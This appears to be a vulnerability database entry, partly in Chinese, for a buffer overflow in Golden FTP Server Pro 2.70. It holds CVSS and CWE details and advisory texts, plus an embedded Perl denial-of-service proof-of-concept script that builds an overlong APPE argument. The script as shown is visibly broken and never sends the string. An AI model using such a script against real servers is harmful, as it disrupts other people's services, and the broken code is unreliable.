发布时间 :2006-05-04 08:38:00
修订时间 :2016-10-17 23:39:46

[原文]Buffer overflow in Golden FTP Server Pro 2.70 allows remote attackers to cause a denial of service (application crash) and execute arbitrary code via a long argument to the (1) NLST or (2) APPE commands, as demonstrated by the Infigo FTPStress Fuzzer.

[CNNVD]Golden FTP Server Pro 多个缓冲区溢出漏洞(CNNVD-200605-072)

        Golden FTP Server Pro 2.70存在缓冲区溢出。 远程攻击者可以借助一个对(1) NLST或(2) APPE命令的长的自变量,引起拒绝服务(应用程序崩溃),如Infigo FTPStress Fuzzer所示。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20060508 INFIGO-2006-05-03: Multiple FTP Servers vulnerabilities
(UNKNOWN)  BUGTRAQ  20060502 FTP Fuzzer
(UNKNOWN)  BID  17801
(UNKNOWN)  VUPEN  ADV-2006-1640
(UNKNOWN)  XF  goldenftp-nlst-appe-bo(26195)

- 漏洞信息

Golden FTP Server Pro 多个缓冲区溢出漏洞
中危 缓冲区溢出
2006-05-04 00:00:00 2006-05-04 00:00:00
        Golden FTP Server Pro 2.70存在缓冲区溢出。 远程攻击者可以借助一个对(1) NLST或(2) APPE命令的长的自变量,引起拒绝服务(应用程序崩溃),如Infigo FTPStress Fuzzer所示。

- 公告与补丁


- 漏洞信息 (1743)

Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC (EDBID:1743)
windows dos
2006-05-03 Verified
0 Jerome Athias
[点击下载] [点击下载]

# Golden FTP Server Pro 2.70 Remote APPE command PoC exploit : DoS
# /JA

use Net::FTP;

$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

if (($host) && ($port)) {

# Exploit string (try with a different value if needed)
$exploit_string = "./A" x 1000;

      print "Trying to connect to $host:$port\n";
      $sock = Net::FTP->new("$host",Port => $port, TimeOut => 60, Debug=> $debug) or die "[-] Connection failed\n";
      print "[+] Connect OK!\n";
      print "Logging...\n";
      if (!$user) {
           $user = "test";
           $pass = "test";
      $sock->login($user, $pass);
      $answer = $sock->message;
      print $answer ."\n";
      print "Sending string...\n";
} else {
      print "Golden FTP Server Pro 2.70 - Remote APPE command PoC
exploit : DoS\n\n\nUsing: $0 host port [debug: 1 or 0] username password\n\n";

# [2006-05-03]

- 漏洞信息

Golden FTP Server Pro Multiple Command Remote Overflow
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

Golden Server Pro contains a flaw that may allow a remote denial of service. The issue is triggered by sending an overly long NLST or APPE command which could overflow a buffer and crash the service, resulting in loss of availability.

- 时间线

2006-05-01 Unknow
2006-05-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

Golden FTP Server NLST Command Remote Buffer Overflow Vulnerability
Boundary Condition Error 17801
Yes No
2006-05-02 12:00:00 2007-02-20 08:28:00
Discovery is credited to Leon Juranic <>.

- 受影响的程序版本

Golden FTP Server Golden FTP Server 2.70

- 漏洞讨论

Golden FTP Server is prone to a buffer-overflow vulnerability when handling data through the NLST command.

Reportedly, passing excessive data may overflow a finite-sized internal memory buffer. A successful attack may result in memory corruption as memory adjacent to the buffer is overwritten with user-supplied data.

This issue may lead to a denial-of-service condition or the execution of arbitrary code.

Version 2.70 of Golden FTP Server is vulnerable to this issue; other versions may also be affected.

- 漏洞利用

This issue can be triggered by using the Infigo FTPStress Fuzzer.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at:

- 相关参考